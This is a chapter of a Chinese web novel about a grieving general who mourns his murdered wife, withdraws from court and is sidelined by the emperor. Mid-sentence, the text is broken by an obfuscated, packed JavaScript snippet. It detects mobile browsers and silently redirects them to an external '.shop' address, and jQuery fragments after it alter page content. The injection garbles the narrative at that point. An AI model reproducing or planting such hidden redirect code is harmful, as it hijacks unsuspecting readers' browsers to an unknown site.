六月廿三，顾晚辞下葬。


    墓地选在西山南麓，一处可望见洛水拐弯的山坡。这是张砚亲自选的地方——离他们赏枫的峡谷不远，春日会有野花，秋日可见红枫。


    葬礼简单得近乎凄凉。


    顾府来了几个女眷，顾老夫人因悲伤过度未能亲至，只让贴身嬷嬷代为焚香。皇甫青夫妇全程操持，朱将军派了二十亲兵维持秩序。除此之外，再无他人。


    张砚一身素白麻衣，站在新立的墓碑前，久久不语。墓碑上只刻了五个字：“爱妻顾晚辞”，连生卒年月都未刻——他不愿接受那个日子。


    棺木入土时，林婉如泣不成声。皇甫青红着眼眶，用力拍了拍张砚的肩膀：“节哀。”


    张砚点了点头，动作机械。


    土一锹一锹落下，覆盖棺木。他忽然向前一步，从怀中取出一个锦囊——里面是两人的结发。他蹲下身，将锦囊放入还未完全掩埋的墓穴中，覆上一捧土。


    “结发同穴。”他低声说，声音嘶哑得几乎听不清。


    午后，回到将军府。


    府中红绸还未完全撤去，廊下喜字在风中剥落一角，刺眼得荒唐。秋月抱着顾晚辞的遗物从西厢出来，眼睛肿得核桃般大。


    “将军，小姐的衣物……”她哽咽着问。


    “都留着。”张砚说，“原样放着。”


    “可是——”


    “原样放着。”


    他的语气平静，却带着不容置疑的决绝。秋月不敢再说，低头退下。


    张砚走进西厢。


    梳妆台上，她常用的那柄玉梳还摆着，旁边是半盒胭脂。窗下琴案蒙了层薄灰——自她受伤后，再无人抚琴。他走到床前，伸手抚摸锦被，仿佛还能触到她躺过的痕迹。


    空气中，似乎还残留着淡淡的檀香。


    他在床沿坐下，从怀中取出那个素白香囊。绣着的兰草已有些褪色，边缘被摩挲得起了毛边。他解开丝绦，倒出里面干枯的兰花瓣——是去年秋天她在西山采的，说要做个“秋日的念想”。


    花瓣碎在掌心，一捻即成粉末。


    六月廿五，张砚销假回兵部。


    孙继见他进来，放下手中的文书，叹了口气：“张将军，节哀顺变。”


    “谢大人。”张砚躬身，动作标准得像个木偶。


    “你递上来的北疆防务条陈，老夫看过了。”孙继斟酌着词句，“写得……很详尽。只是有些地方，与现行规制不符，还需斟酌。”


    那是顾晚辞出事前三日，张砚熬夜写就的。里面提出了调整北疆防线、增设烽燧、改良军械等十三项建议。如今再看，字字句句都像是在嘲讽。


    “大人觉得不妥，便罢了。”张砚说。


    孙继一怔。按张砚从前的性子，定要据理力争，此刻却这般……


    “将军若有难处，可再休养些时日。”孙继试探道。


    “不必。”张砚行礼，“若无他事，末将告退。”


    走出兵部衙门时，阳光刺眼。他眯起眼，看见台阶下停着一辆华贵马车——是大皇子府的制式。


    车帘掀起，高公公那张白净的脸露出来。


    “张将军。”他皮笑肉不笑，“殿下听闻将军府上之事，甚为痛心。特命咱家送来些补品药材，聊表心意。”


    两个小太监抬下一只红木箱。


    张砚看着那只箱子，忽然想起渡河那日，顾晚辞被他推向粮车时的眼神——惊恐，却决绝。若没那场刺杀，她现在应该在西厢抚琴，或者在后园侍弄她新栽的兰草。


    “末将……谢殿下恩典。”他听见自己的声音，平静得可怕。


    “将军客气。”高公公打量着他，“殿下还说，将军乃国之栋梁，万要保重身体。有些事……过去了便过去了，往前看才是正理。”


    往前看？


    张砚抬起头，直视高公公：“请公公回禀殿下：末将的妻，过不去。”


    高公公笑容一僵。


    张砚不再看他，转身离去。那箱补品被孤零零留在台阶下，在烈日下泛着油亮的光。


    六月廿八夜，张砚醉酒。


    这是顾晚辞走后，他第一次饮酒。不是细品的佳酿，而是最劣质的烧刀子，辛辣刺喉。他坐在西厢廊下，对着空荡荡的庭院，一壶接一壶。


    皇甫青来时，他已半醉。


    “你就打算这么糟践自己？”皇甫青夺过酒壶。


    张砚抬眼，眼神涣散：“不然呢？”


    “查清楚是谁干的，报仇！”


    “报仇？”张砚笑了，笑声苍凉，“杀了那些刺客？还是杀幕后主使？杀了之后呢？晚辞能回来吗？”


    皇甫青语塞。


    “你知道吗，”张砚靠着廊柱，望着天上残缺的月，“在洛西峡那晚，她说‘身束其缚，心自由仪’。我以为我能给她自由，结果……是我亲手把她推向了死路。”


    “那不是你的错！”


    “是我的错。”张砚闭上眼，“我若不带她来京城，她还在幽州。我若那日不让她来送行，她就不会死”


    他哽住，说不下去。


    皇甫青在他身边坐下，沉默良久，才低声道：“刺客的来历，有眉目了。”


    张砚不动。


    “用的是军弩，但不是禁军的制式。火药是工部去年淘汰的那批，本该销毁的。”皇甫青声音压得更低，“活捉的那三个，在押送途中‘暴毙’了。”


    张砚缓缓睁眼。


    “朱将军动用了些关系，查到那批火药最后经手的是工部一位主事——那人上个月刚升了郎中，举荐他的是户部侍郎，而那位侍郎……”皇甫青顿了顿，“是大皇子的门人。”


    夜风吹过，廊下风灯摇晃。


    张砚看着晃动的光影，忽然问：“皇甫兄，你相信报应吗？”


    “什么？”


    “我不信。”张砚站起身，踉跄了一下，“若真有报应，该死的是那些人。可他们还活着，高官厚禄，前程似锦。晚辞呢？她做错了什么？”


    他走向院中，对着虚空嘶吼：“她只是想活着！只是想和我在一起！这也有错吗？！”


    吼声在夜空中回荡，无人应答。


    皇甫青看着他摇摇欲坠的背影，心中酸楚。这个在战场上以一当百的将军，这个写下“掷酒向青天，长歌带醉眠”的豪杰，此刻破碎得只剩一具空壳。


    七月初一，张砚递交辞呈。


    辞呈写得简短：“臣张砚，因伤病缠身，心神俱损，难当大任。恳请陛下准臣辞去一切职务，归隐山林。”


    奏疏递上去，如石沉大海。


    三日后，宫中传来口谕：陛下有旨，张将军忠勇可嘉，正值国家用人之际，不准辞。赐人参两盒，白银千两，安心养病。


    同时来的，还有大皇子府的请柬——七月十五，王府赏荷宴，请张将军务必赏光。


    “这是要逼你表态。”皇甫青面色凝重，“你若去，便是服软；若不去，便是拂了皇子颜面。”


    张砚将请柬扔进火盆。


    纸张蜷曲，燃烧，化为灰烬。


    “我已无软可服，也无颜面可顾。”他说。


    七月初十，兵部文书送到：北疆传来急报，胡人小股骑兵频繁骚扰边境。兵部命张砚三日内拟定应对方略。


    从前，这样的任务张砚会通宵达旦，查阅地图、推演战术、测算粮草。如今，他坐在书案前，对着空白纸张，一笔也写不下去。


    脑海中反复浮现的，是顾晚辞中箭倒下的画面。


    箭矢贯穿胸膛的声音，鲜血喷涌的颜色，她最后那句“冷”……


    “啪！”


    笔杆在他掌中断裂，尖锐的木刺深深扎入皮肉，墨汁如黑血般喷溅，瞬间浸透了素白的衣袖。


    那一个字，冰锥般凿穿了他所有的理智。


    “啊——！！！”


    一声压抑到极致的嘶吼从喉咙深处迸裂出来。张砚猛地掀翻了整个书案！沉重的木桌轰然倒塌，笔墨纸砚如同被惊散的飞鸟，噼里啪啦砸了一地。他像一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176984|196899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头彻底被困死的兽，赤红着双眼，一拳、又一拳，疯狂地砸向那些断裂的木块，任凭碎木尖刺更深地扎进皮肉，鲜血混着墨汁，在狼藉的地面涂开狰狞的痕迹。他感觉不到疼，只觉得胸口那股几乎要炸开的岩浆必须找到出口，否则他就会先一步粉身碎骨。


    直到力气耗尽，他踉跄后退，背脊重重撞上冰冷的墙壁，才颓然滑坐下去。破碎的木屑沾了满身，双手血肉模糊，滴滴答答往下淌着血与墨。他粗重地喘息着，眼前一阵阵发黑，只有那幅染血的画面越来越清晰，越来越冰冷。


    窗外，暮色正如潮水般淹没了天际，最后的残光透过窗棂，无力地落在他脚边。正是黄昏，往日这时，门外总会响起轻柔的脚步声，然后是她温软的声音，带着一丝关切：“将军，该用膳了。”


    再无这样的黄昏了。


    秋月端来晚膳时，看见满屋的狼籍，和将军空洞的眼神，默默退了出去。


    那一夜，张砚枯坐到天明。


    七月十二，期限最后一日。


    张砚终于提笔，写了三行字：“边境骚扰，常态也。增派斥候，加强巡防，可解。”


    这份敷衍到极点的“方略”送到兵部，孙继看后，脸色铁青。


    “张砚这是自毁前程！”他将文书摔在案上。


    消息很快传开。


    朝中议论纷纷。有人说张将军丧妻之痛，情有可原；有人说他恃功自傲，不堪大用；更多的人在观望——看这位新晋名将，会落得怎样的下场。


    七月十四，宫中第二次传旨。


    这次是正式的诏书：“镇北将军张砚，近来心神不宁，难理军务。念其往日功勋，暂免其职，安心休养。俸禄照领，一应待遇不变。”


    明是体恤，实是闲置。


    接旨时，张砚跪在府门前，面无表情。宣旨太监念完，他叩首谢恩，声音平静无波。


    待太监离去，皇甫青扶他起来，急道：“你就这么认了？！”


    “不然呢？”张砚看着他，“去争？去抢？去告诉他们我还能打仗？”


    “你本来就能！”


    “可我真的累了。”张砚望向北方，那是北疆的方向，“我守了这么多年边境，护了那么多百姓，到最后，又怎么样。这样的仗，打赢了又如何？”


    他转身回府，背影在盛夏骄阳下，竟显得萧索如秋。


    当夜，张砚独自走进西厢。


    他从柜中取出顾晚辞的遗物——几件常穿的衣裙，几本翻旧的诗集，一方绣了一半的帕子。帕子上绣的是并蒂莲，只完成了一朵，另一朵刚起针。


    他抚过那些细密的针脚，想起她说要给他绣个荷包，绣他最喜欢的墨竹。


    最终，他什么也没带走。


    只从梳妆盒底层，取出一张折好的纸。展开，是她娟秀的字迹——抄的是他写的《掷酒向青天》：


    “掷酒向青天，长歌带醉眠。?掷酒向青天，长歌带醉眠。


    杯空揽明月，意懒卧春烟。”


    她只抄到这里，下面空着。


    张砚看着那未完的诗句，忽然明白了什么。她是在等——等他平安归来，等他亲口告诉她后面的句子。


    可他回来了，她却永远等不到了。


    他将诗稿小心折好，贴胸放入怀中。而后吹灭烛火，在黑暗中静坐。


    窗外，传来打更声。


    三更天了。


    她若在，该提醒他该歇息了。


    他缓缓起身，走到院中。夏夜星空璀璨，银河横亘天际。他想起洛西峡那夜，她指着星辰说：“将军你看，牛郎织女星——就算隔着银河，每年还能相见一次。”


    “我们不会隔着银河。”他当时说。


    可如今，他们隔着的，是生死。


    张砚仰头，对着星空轻声说：“晚辞，若真有来世……别再遇见我了。”


    话音刚落，一颗流星划破夜空，转瞬即逝。


    像是回答。


    （第三十二章完，约3445字）